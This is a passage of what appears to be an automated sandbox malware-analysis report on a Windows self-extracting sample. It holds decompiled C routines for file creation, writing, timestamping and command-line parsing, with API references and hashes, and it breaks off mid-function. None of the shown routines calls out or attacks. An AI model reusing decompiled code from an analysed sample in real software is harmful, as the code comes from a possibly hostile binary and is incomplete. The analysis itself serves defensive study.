0x01094e5b
0x01094e5e
0x00000000
0x00000000
0x01094e6a
0x01094e6f
0x01094e71
0x00000000
0x00000000
0x01094e77
0x01094e7d
0x00000000
0x01094e7d
0x01094d25
0x01094d25
0x01094d28
0x01094d36
0x01094d3b
0x01094d40
0x01094d40
0x01094d42
0x01094d43
0x01094d43
0x01094d47
0x01094d4a
0x01094d4a
0x01094d4c
0x01094d4f
0x01094d4f
0x01094d51
0x01094d52
0x01094d52
0x01094d56
0x01094d5b
0x01094d5d
0x01094d62
0x00000000
0x00000000
0x01094d67
0x01094d6f
0x01094d74
0x01094d76
0x00000000
0x00000000
0x01094d7c
0x01094d84
0x01094d89
0x01094d8b
0x00000000
0x00000000
0x01094d94
0x01094d99
0x01094d9e
0x01094da1
0x01094daa
0x01094daa
0x01094da3
0x01094da3
0x01094da3
0x01094db5
0x01094dbb
0x01094dbd
0x00000000
0x01094dc3
0x01094dc5
0x00000000
0x01094dc5
0x01094dbd
0x01094d2a
0x01094d2a
0x01094d2d
0x00000000
0x00000000
0x00000000
0x01094d2d
0x01094cf8
0x01094cfd
0x01094d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 01094DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 01094DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 01094D36, 01094DE3

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 3625706803-2356899610
Opcode ID: 03bc112f74b20e0a0985f547804ac75b3fcae55616ac999aa9089d8a94f0fce5
Instruction ID: 3400e51a4cabd4d14df1e0ba29540e94b7887cb044663d63ea097d5c29442cc6
Opcode Fuzzy Hash: 03bc112f74b20e0a0985f547804ac75b3fcae55616ac999aa9089d8a94f0fce5
Instruction Fuzzy Hash: 5941263A2041068BDF61AE2CDB746F977E5FF45304F0486A8D8C2D7285DA32DA47E750

Uniqueness

Uniqueness Score: -1.00%

Function 01094C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01094C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0x1098d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0x1098d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x01094c40
0x01094c4a
0x01094c8d
0x00000000
0x01094c70
0x01094c70
0x01094c7e
0x01094c86
0x00000000
0x00000000
0x00000000
0x01094c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 01094C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 01094C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 01094C7E

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: aaafb29129fbd7699be28013b2e6aa42d84d920522020656fc6c3bbfd43e298c
Instruction ID: 922700d8bee6759be7f71a780c34d4c66598bc0792020367ae543f7deaaa6640
Opcode Fuzzy Hash: aaafb29129fbd7699be28013b2e6aa42d84d920522020656fc6c3bbfd43e298c
Instruction Fuzzy Hash: A7F024B261020DBFAFA4EFA8CD68CFF7BECEB04240700456BB981C2200EA31D504D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0109487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0109487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E0109490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x01094880
0x0109488c
0x01094894
0x010948a0
0x010948c9
0x010948ce
0x010948a2
0x010948a8
0x010948b7
0x010948bc
0x010948aa
0x010948ac
0x010948ac
0x010948a8
0x010948de
0x010948e7
0x0109490b
0x010948ee
0x010948f0
0x00000000
0x01094902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,01094A23,?,01094F67,*MEMCAB,00008000,00000180), ref: 010948DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,01094F67,*MEMCAB,00008000,00000180), ref: 01094902

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 755b2a1c76af2257ce1d8dd58247d15cedece31680785c136bda4b05825c9b2e
Instruction ID: e7ecd0f19c5830c37a36faa31314f709a521649baaf10a99740df91640163a2c
Opcode Fuzzy Hash: 755b2a1c76af2257ce1d8dd58247d15cedece31680785c136bda4b05825c9b2e
Instruction Fuzzy Hash: D301ADA3E1253026F72440284D98FFB454CDBD6630F1B0331FEEAEB1C1D1644C0192E0

Uniqueness

Uniqueness Score: -1.00%

Function 01094AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E01094AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0x109858c; // 0x274
				_t9 = E01093680(_t20);
				if( *0x10991d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0x1098d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0x1099400; // 0x5e800
							_t15 = _t14 + _t25;
							 *0x1099400 = _t15;
							if( *0x1098184 != 0) {
								_t21 =  *0x1098584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0x10993f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x01094ad5
0x01094adb
0x01094ae7
0x01094aee
0x01094b05
0x01094b0d
0x01094b14
0x01094b1a
0x01094b1c
0x01094b21
0x01094b2a
0x01094b2f
0x01094b31
0x01094b39
0x01094b54
0x01094b54
0x01094b39
0x01094b2f
0x01094b0f
0x01094b0f
0x01094b0f
0x01094b5e
0x01094ae9
0x01094aed
0x01094aed

APIs

Part of subcall function 01093680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0109369F
Part of subcall function 01093680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010936B2
Part of subcall function 01093680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010936DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 01094B05

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 1b466fe10650589e4b16c030bc388220a4a280c2b21d6292533105352816769a
Instruction ID: 651bd0f2ac97860068a1a268a44178ee99de5407a2e856916f73179b079f1e97
Opcode Fuzzy Hash: 1b466fe10650589e4b16c030bc388220a4a280c2b21d6292533105352816769a
Instruction Fuzzy Hash: BB01D2312002049BEB248F28DD35BA67B98F744725F04C36AFAB9D72D4CB368812DB80

Uniqueness

Uniqueness Score: -1.00%

Function 0109658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0109658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0x1098b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0x1098b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E010916B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x01096592
0x01096594
0x01096596
0x01096598
0x01096598
0x0109659b
0x0109659b
0x0109659d
0x0109659e
0x010965a2
0x010965a4
0x010965a9
0x010965b2
0x010965b6
0x010965ba
0x010965c3
0x010965c5
0x010965c8
0x010965c8
0x010965c3
0x010965c9
0x010965cc
0x010965d2
0x010965d1
0x010965d1
0x00000000
0x010965dc
0x00000000

APIs

CharPrevA.USER32(01098B3E,01098B3F,00000001,01098B3E,-00000003,?,010960EC,01091140,?), ref: 010965BA

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 330a1a513532abbd0869a1521d03b90dbb61181f09b02e5956071daae65625eb
Instruction ID: 868fad7dd678333c7cc55faa1f60551fff0f562445fcf6ca27c10cfc424d498c
Opcode Fuzzy Hash: 330a1a513532abbd0869a1521d03b90dbb61181f09b02e5956071daae65625eb
Instruction Fuzzy Hash: 57F042326042509BDB32051D9894BA6BFDD9B86150F18019EE9DEC3249CA674C45E3A4

Uniqueness

Uniqueness Score: -1.00%

Function 0109621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0109621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0x1098004; // 0x8a9c601
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E0109597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E010944B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0x1099124 = E01096285();
					_t9 = 0;
				}
				return E01096CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x01096229
0x01096230
0x01096247
0x0109626a
0x01096272
0x01096249
0x01096255
0x0109625f
0x01096264
0x01096264
0x01096284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0109623F

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Part of subcall function 01096285: GetLastError.KERNEL32(01095BBC), ref: 01096285

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 746a3c7b41e90359eaf6f92549d1c4c5cf17e8452f1a0403741bb4ff12e834d1
Instruction ID: de5f3a78d799711dd92e4e693c420e310aa6a4d20ee31807fbd2ca85bbec772c
Opcode Fuzzy Hash: 746a3c7b41e90359eaf6f92549d1c4c5cf17e8452f1a0403741bb4ff12e834d1
Instruction Fuzzy Hash: B7F0B4B07002096BEF60EB748D21BFE32A8EB94300F4000AAA9C5D7181ED7699409750

Uniqueness

Uniqueness Score: -1.00%

Function 01094B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01094B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0x1098d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0x1098d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0x1098d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0x1098d60)) = 1;
				 *((intOrPtr*)(_t15 + 0x1098d68)) = 0;
				 *((intOrPtr*)(_t15 + 0x1098d70)) = 0;
				 *((intOrPtr*)(_t15 + 0x1098d6c)) = 0;
				return 0;
			}

0x01094b66
0x01094b74
0x01094b98
0x01094ba0
0x00000000
0x01094bac
0x01094ba4
0x00000000
0x01094ba4
0x01094b78
0x01094b7e
0x01094b84
0x01094b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,01094FA1,00000000), ref: 01094B98

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 40a143cdf044211cb21b4d03b840898283bbb869788c1f1d431a2c13a6ddc8a7
Instruction ID: 9c337b9966dcd9393d862fe66085ffa67e061e7cddbdd81e00c719249ad186b6
Opcode Fuzzy Hash: 40a143cdf044211cb21b4d03b840898283bbb869788c1f1d431a2c13a6ddc8a7
Instruction Fuzzy Hash: C3F08270501B0DAE4B79AE2DCD6069ABBE6BAD2260310892F91EED2240E7316401DB90

Uniqueness

Uniqueness Score: -1.00%

Function 010966AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010966AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x010966b1
0x010966ba
0x010966c7
0x010966bc
0x010966be
0x010966be

APIs

GetFileAttributesA.KERNELBASE(?,01094777,?,01094E38,?), ref: 010966B1

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 167f646a4ab244b40231b8ddf202c1f0d96b864e6146a1e191d061cdb7e11428
Instruction ID: 9019b05112d0538e5755d4f8fd56adad567129595730987d757c9e181b0abaf1
Opcode Fuzzy Hash: 167f646a4ab244b40231b8ddf202c1f0d96b864e6146a1e191d061cdb7e11428
Instruction Fuzzy Hash: 5AB09276626440826E6106396C395562881B6C123A7E41B90F072C11D4CA3FD456E144

Uniqueness

Uniqueness Score: -1.00%

Function 01094CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01094CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x01094caa
0x01094cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 01094CAA

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: e60cc1cf20630202660a65a0257057fa363ae5be11ccdab1a63df5f503e02804
Instruction ID: d4570b6a02e36b4c7deec9b11dc91c41b341799160bd4c396877bfef19493207
Opcode Fuzzy Hash: e60cc1cf20630202660a65a0257057fa363ae5be11ccdab1a63df5f503e02804
Instruction Fuzzy Hash: 3AB0123214420CF7CF101EC6E809F853F1DF7C4761F140000F60C460408A7794208795

Uniqueness

Uniqueness Score: -1.00%

Function 01094CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01094CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x01094cc8
0x01094ccf

APIs

GlobalFree.KERNEL32 ref: 01094CC8

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b48e39273100b54911a4bd00a8309387458354263ff6f5a2f6fb4296d1e4dbf
Instruction ID: ff6e54feb67e8d7186717a30eb35674112eac4848a1a91e9dd4b17198937027c
Opcode Fuzzy Hash: 2b48e39273100b54911a4bd00a8309387458354263ff6f5a2f6fb4296d1e4dbf
Instruction Fuzzy Hash: 7FB0123100010CF78F101A46E8088453F1DE6C03607000010F50C420118B3B98118684

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01095C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E01095C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0x1098004; // 0x8a9c601
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E01096CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E01096E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0x1098004; // 0x8a9c601
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E0109597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E010944B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0x1099124 = E01096285();
									_t75 = 0;
								}
								return E01096CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E010944B9(0, 0x521, 0x1091140, 0, 0x40, 0);
												_t85 =  *0x1098588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E0109667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E0109667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E01095C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E01091680(0x1098c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E0109667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E0109667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0x1098a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E01095C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0x1098b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0x1098a3a;
																}
																E01091680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E0109658A(_t218, 0x104, 0x1091140);
																if(E010931E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0x1098a2c = 1;
																		} else {
